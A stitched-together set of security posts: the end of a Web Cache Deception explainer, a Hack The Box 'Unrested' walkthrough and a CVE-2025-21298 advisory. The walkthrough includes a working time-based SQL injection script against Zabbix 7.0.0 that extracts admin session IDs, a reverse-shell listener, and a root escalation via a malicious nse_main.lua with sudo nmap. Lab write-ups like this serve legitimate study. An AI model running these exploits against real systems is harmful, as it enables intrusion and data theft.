To exploit a Web Cache Deception vulnerability, attackers follow these steps:

1. Identify Sensitive Pages: Look for pages containing sensitive data, such as user profiles, payment details, or account dashboards.

2. Modify the URL: Append static file extensions like .css, .js, or .jpg to the URL to trick the cache into storing the page content.

3. Example: [https://example.com/user/account.css](https://example.com/user/account.css)

4. Test the Response: If the web server returns sensitive data for the modified URL, it means the cache has stored dynamic content, which can now be accessed by anyone.

5. Verify the Attack: Check the modified URL from another session or IP address to see if the same sensitive data is returned, confirming the attack’s success.

6. Automate Exploitation: Attackers might automate the process to identify vulnerable endpoints across the site.

A Diagram of the Web Cache Deception Attack

In this attack, malicious requests are crafted to exploit caching misconfigurations, which store dynamic content as static resources. A diagram can help visualize how this attack unfolds, showing how attackers trick the caching system into storing sensitive data and allowing unauthorized access to cached pages.

Mitigating Web Cache Deception and Cache Poisoning

Mitigating Web Cache Deception

To protect against Web Cache Deception:

1. Avoid Caching Sensitive Pages: Ensure that sensitive pages, like user profile settings or payment history, are not cached.

2. Use Cache-Control Headers: Implement headers like Cache-Control: no-store, Cache-Control: private for sensitive data to prevent caching by intermediate proxies.

3. Validate URL Requests: Ensure that requests with non-existent static file extensions return a 404 or 302 error, rather than serving dynamic content.

4. Implement Authentication: Use authentication checks before serving cached responses to ensure only authorized users can access sensitive content.

5. Vary Header Implementation: Use the Vary header to ensure responses are cached based on specific factors, such as cookies or authorization tokens:

6. Vary: Cookie, Authorization

Mitigating Cache Poisoning

To mitigate Cache Poisoning:

1. Sanitize User Input: Always sanitize user input to prevent malicious content from being injected into cached responses.

2. Enforce Strict Cache Policies: Ensure only static content is cached and apply strong validation for HTTP headers and query parameters.

3. Use Cache-Control for Static Files: Use Cache-Control: immutable for static files to avoid accidental poisoning.

4. Content Security Policy (CSP): Implement a CSP to restrict the execution of untrusted JavaScript and prevent malicious scripts from being executed on cached pages.

Conclusion

Web caching is essential for optimizing web performance, but when misconfigured, it can introduce significant security vulnerabilities like Web Cache Deception and Cache Poisoning. These attacks can expose sensitive data or inject malicious content into cached responses, leading to unauthorized access and security breaches.

By implementing strict cache-control policies, securing routing mechanisms, and ensuring proper validation of cached content, organizations can protect against these attacks. Regular cache monitoring and audits are also crucial to detect and mitigate risks promptly.

Organizations must prioritize cybersecurity assessments and penetration testing to safeguard their web caching systems and prevent Web Cache Deception and Cache Poisoning from compromising sensitive data.

As a cybersecurity researcher or penetration tester, always assess web cache behavior when testing web applications. Ensuring that sensitive data remains private and cached content cannot be poisoned is key to maintaining a secure web environment.

References:

1. Web cache deception | Web Security Academy

2. Web cache deception — PortSwigger

Unrested is a medium difficulty Linux machine hosting a version of Zabbix. Enumerating the version of Zabbix shows that it is vulnerable to both CVE-2024-36467 (missing access controls on the user.update function within the CUser class) and CVE-2024-42327 (SQL injection in user.get function in CUser class) which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the zabbix user to execute sudo /usr/bin/nmap, an optional dependency in Zabbix servers that is leveraged to gain root access.

Enumeration

Start with a simple ping request to see if the target will response to it.

┌──(kratos㉿Hydra)-[~/Documents/HTB/TwoMillion]
└─$ ping $ip -c3
PING 10.10.11.50 (10.10.11.50) 56(84) bytes of data.
64 bytes from 10.10.11.50: icmp_seq=1 ttl=62 time=301 ms
64 bytes from 10.10.11.50: icmp_seq=2 ttl=62 time=312 ms
64 bytes from 10.10.11.50: icmp_seq=3 ttl=62 time=303 ms
--- 10.10.11.50 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 301.459/305.696/312.358/4.768 ms

The target does response. Next we should discover what ports are open and what services are running on them.

┌──(kratos㉿Hydra)-[~/Documents/HTB/TwoMillion]
└─$ nmap $ip -p-
<snip>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.60 seconds

The scan reveals SSH and Apache2 are open on their respective default ports. Ports 10050 and 10051 are associated with Zabbix agents. Visiting the target IP on port 10050 and 80 redirects us to a Zabbix login page

What is Zabbix

Zabbix is like a digital watchdog for computers and networks. Think of it as a tool that helps IT professionals make sure everything is running smoothly. It collects data and shows it in an easy-to-understand way, helping teams maintain and improve their IT systems.

Zabbix Login Page

Using the provided credentials, we can authenticate as matthew and access the Zabbix dashboard. This account is in the default User role with no additional groups or privileges.

Zabbix Dashboard

Zabbix Version

The Zabbix version can be seen as 7.0.0.

Searching the web gives us two vulnerabilities. CVE-2024-36467 and CVE-2024-42327.

Overview of CVE-2024–36467

CVE-2024–36467 is a security flaw in Zabbix, a software used for monitoring computer systems. This flaw allows someone who is already logged into the system and has access to the system’s API (a kind of digital toolkit) to change their group membership.

Zabbix API Abuse

Authenticated User with API Access: An authenticated user can interact with the system using the API, enabling actions that are restricted through the standard web interface.

User Role and Permissions: Zabbix roles come with specific access levels.

API Endpoint: user.update : The user.update endpoint lets a user modify their details, including group memberships.

Privilege Escalation:

By adding themselves to high-privilege groups like “Zabbix Administrators,” the user can escalate their access, gaining control over sensitive system functions and compromising its security.

Let’s refer to the Zabbix website documentation to gather more information.

Lets check the api_jsonrpc.php in our target.

api_jsonrpc Request Format

The request must have the Content-Type header set to one of these values: application/json-rpc, application/json or application/jsonrequest.

The request object contains the following properties:

• jsonrpc - the version of the JSON-RPC protocol used by the API (Zabbix API implements JSON-RPC version 2.0);

• method - the API method being called;

• params - the parameters that will be passed to the API method;

• id - an arbitrary identifier of the request.

To carry out the exploitation, we begin by authenticating the API with user credentials, which returns an API key as a response.

Successfully got a API token. Before we try user.update to update our roles, let’s try to find our userid. Bruteforcing the userids also work but we can see every user id using user.get function. Using the selectRole or SelectUsrgrps as params returns the userlist and scrolling down, we can see matthew user as userid:3.

From the json response we can also see that Administrator role is roleid:3 and matthew user has roleid:1 which is probably the default user id. Let’s try to set our roleid to Administrator. But we get the following error.

So it seems that we can’t change our role beacuse in CUser.php file, validateUpdate() and checkHimself() functions checks if its our own role or not. But we also see that in user.update, we can change our usrgroup which doesn’t have any validation placed.

We also need to find a valid “usrgrpid” to make us Administrator. Luckily, i have seen Zabbix Administrators id in the manual page as 7. This is crucial beacause it saves time from bruteforcing all the group ids.

Now that we have the group id, let’s add our user to Zabbix Administrators using user.update.

Note that without this privilege escalation, we can’t perform the SQL injection in the upcoming part.

Overview of CVE-2024–42327

CVE-2024–42327 is a vulnerability where attacker can perform an SQL injection in user.get function in CUser.php class which can be used to leak database content.

Using the following request, we can see that request took 6,408 ms which means our SLEEP(5) payload resulted with time-based sql injection.

Lets do automated scan since it would take a long time to do it manually. Replace the sqli payload with * and copy the request to a file. Then dump the database using sqlmap.

available databases 2: \* information\_schema \* zabbix

From the output, we have successfully retrieved the database names by exploiting the based SQL injection.

From both methods, we can utilize misconfigured agents to gain remote code execution. To do this from the time-based SQL injection, we must leak the sessions table in the database to see if the Admin user has authenticated at all.

Unfortunately due to being a time-based attack, this can take a while, so I have included a quicker script(Its not created by me! Credit goes to the orginal owner) for further use.

import requests
import json
from datetime import datetime
import string
import random
import sys
from concurrent.futures import ThreadPoolExecutor

URL = "http://10.129.231.176/zabbix/api_jsonrpc.php"
TRUE_TIME = 1
ROW = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"

def authenticate():
payload = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": USERNAME,
"password": PASSWORD
},
"id": 1
}
response = requests.post(URL, json=payload)
if response.status_code == 200:
try:
response_json = response.json()
auth_token = response_json.get("result")
if auth_token:
print(f"Login successful! Auth token: {auth_token}")
return auth_token
else:
print(f"Login failed. Response: {response_json}")
except Exception as e:
print(f"Error: {str(e)}")
else:
print(f"HTTP request failed with status code {response.status_code}")
return None

def send_injection(auth_token, position, char):
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME} * "
f"(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 "
f"LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))))BEEF)"
],
"editable": 1,
},
"auth": auth_token,
"id": 1
}
before_query = datetime.now().timestamp()
response = requests.post(URL, json=payload)
after_query = datetime.now().timestamp()
response_time = after_query - before_query
return char, response_time

def test_characters_parallel(auth_token, position):
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable}
for future in futures:
char, response_time = future.result()
if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5:
return char
return None

def print_progress(extracted_value):
sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
sys.stdout.flush()

def extract_admin_session_parallel(auth_token):
extracted_value = ""
max_length = 32
for position in range(1, max_length + 1):
char = test_characters_parallel(auth_token, position)
if char:
extracted_value += char
print_progress(extracted_value)
else:
print(f"\n(-) No character found at position {position}, stopping.")
break
return extracted_value

if __name__ == "__main__":
print("Authenticating...")
auth_token = authenticate()
if auth_token:
print("Starting data extraction...")
admin_session = extract_admin_session_parallel(auth_token)
print(f"\nAdmin session extracted: {admin_session}")
else:
print("Authentication failed.")

After running the script, we see we successfully obtained the admin session in just less than a minute.

Now that we have admin session, using our privileges we can get Remote Code Execution

Hosting a simple reverse shell on port 8000 and using the command below, returns a connection.

$nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.50] 40504
bash: cannot set terminal process group (3689): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$

We can get the user flag from /home/matthew/user.txt

Privilege Escalation

As zabbix user we check if we can execute any applications with sudo permissions.

zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *

We see that we can run /usr/bin/nmap unrestricted. We attempt to use the GTFOBins.

zabbix@unrested:/$ TF=$(mktemp)
zabbix@unrested:/$ echo 'os.execute("/bin/sh")' > $TF
zabbix@unrested:/$ sudo nmap --script=$TF
Script mode is disabled for security reasons.
zabbix@unrested:/$

Seems that this is just a nmap wrapper program. We try to read the source code of /usr/bin/nmap

zabbix@unrested:/tmp$ cat /usr/bin/nmap
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"
zabbix@unrested:/tmp$

It seems that the maintainers of the server were aware of the known privilege escalations that can happen with nmap . All the GTFOBins escapes are useless in this scenario. Reading through the options we discover the --datadir option.

--datadir <dirname>: Specify custom Nmap data file location

This option allows you to specify a data directory where default scripts and other are stored, the default in this case is /usr/share/nmap.

The nse_main.lua file is the default script file that can be triggered with -sC . To exploit this, we create a new file in /tmp/nse_main.lua with os.execute("chmod 4755 /bin/bash") . When we scan localhost with -sC enabled, we set effective UID of root user.

zabbix@unrested:/tmp$ echo 'os.execute("/bin/bash -p")' > nse_main.lua
zabbix@unrested:/tmp$ sudo /usr/bin/nmap -sC --datadir=/tmp
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-15 19:43 UTC
id
uid=0(root) gid=0(root) groups=0(root)

Finally, we can read the flag in /root/root.txt.

CVE-2025-21298 is a critical vulnerability in Windows Object Linking and Embedding (OLE) technology, which enables remote code execution (RCE) with a CVSS severity score of 9.8. OLE is a proprietary Microsoft technology that allows embedding and linking documents and objects. This flaw affects a wide range of Windows systems, from Windows Server 2008 through 2025 and Windows 10/11, including both desktop and server installations.

Vulnerability Details

Attackers can exploit this vulnerability through specially crafted Rich Text Format (RTF) files or emails. The exploit involves embedding malicious payloads into RTF documents that can execute arbitrary code on a victim’s machine. This can occur when:

• A victim opens a malicious RTF file or email in Microsoft Outlook or another OLE-compatible application.

• A victim merely previews the email in Outlook’s reading pane without opening it.

Upon triggering the exploit, the malicious payload executes, allowing attackers to steal data, install malware, or gain unauthorized control of the victim’s system. The attack typically includes executing PowerShell commands in the background, which download and execute high-profile payloads.

According to Censys reports, at the time of writing, 400000+ exposed Exchange Servers and Outlook Web Access Portals were observed. A large proportion of these (25%) are geolocated in Germany.

Exploitation Scenarios

This vulnerability is particularly dangerous for organizations due to its potential use in phishing campaigns. Attackers craft phishing emails to lure victims into interacting with the malicious attachments. The standalone Microsoft Outlook application or Microsoft Exchange Server itself is not directly vulnerable; however, these applications act as the delivery mechanisms for malicious RTF content.

POC!

A PoC exploit is publicly available on GitHub. This is a memory corruption PoC, not an exploit, but there is an rtf file in this repository that reproduces the vulnerability.

Exploitability

• Impact: Exploitation results in high confidentiality, integrity, and availability impacts.

• Attack Complexity: Low, requiring no user privileges or interaction.

• Public Exploits: A proof-of-concept (PoC) is available, which demonstrates the memory corruption flaw but does not provide a fully weaponized exploit.

Affected Systems

This vulnerability affects a wide range of Microsoft products, including:

• Windows Server (2008 through 2025)

• Windows 10 and Windows 11

The full list of affected systems is available in Microsoft’s official Security Advisory.

Mitigation and Workarounds

Microsoft has released a security update to address CVE-2025–21298. All users and organizations are strongly advised to apply these updates immediately to protect their systems from potential exploitation.

For those unable to update, the following workarounds can reduce the risk:

• Configure Microsoft Outlook to read all emails in plain text format. This prevents the rendering of malicious RTF files.

• Avoid opening or previewing email attachments from unknown or untrusted sources.

Impact of Workarounds

Using plain text format in Outlook may result in:

• Loss of rich content, such as pictures, animations, and specialized fonts.

• Unexpected behavior in custom code solutions relying on email objects.

Recommendations

• Apply Microsoft’s official security patches immediately.

• Educate users about phishing risks and train them to identify suspicious emails.

• Use email filtering solutions to block RTF attachments from unknown sources.

• Monitor network activity for signs of exploitation and deploy endpoint protection tools.

References

• CVE-2025–21298 Microsoft Security Update Guide

• CVE-2025–21298 NVD Advisory

Conclusion

CVE-2025–21298 underscores the importance of staying vigilant against email-based threats. The critical severity of this vulnerability, coupled with the low complexity of exploitation, makes it a significant risk for individuals and organizations. Prompt action, including applying patches and following mitigation guidelines, is essential to ensure system security.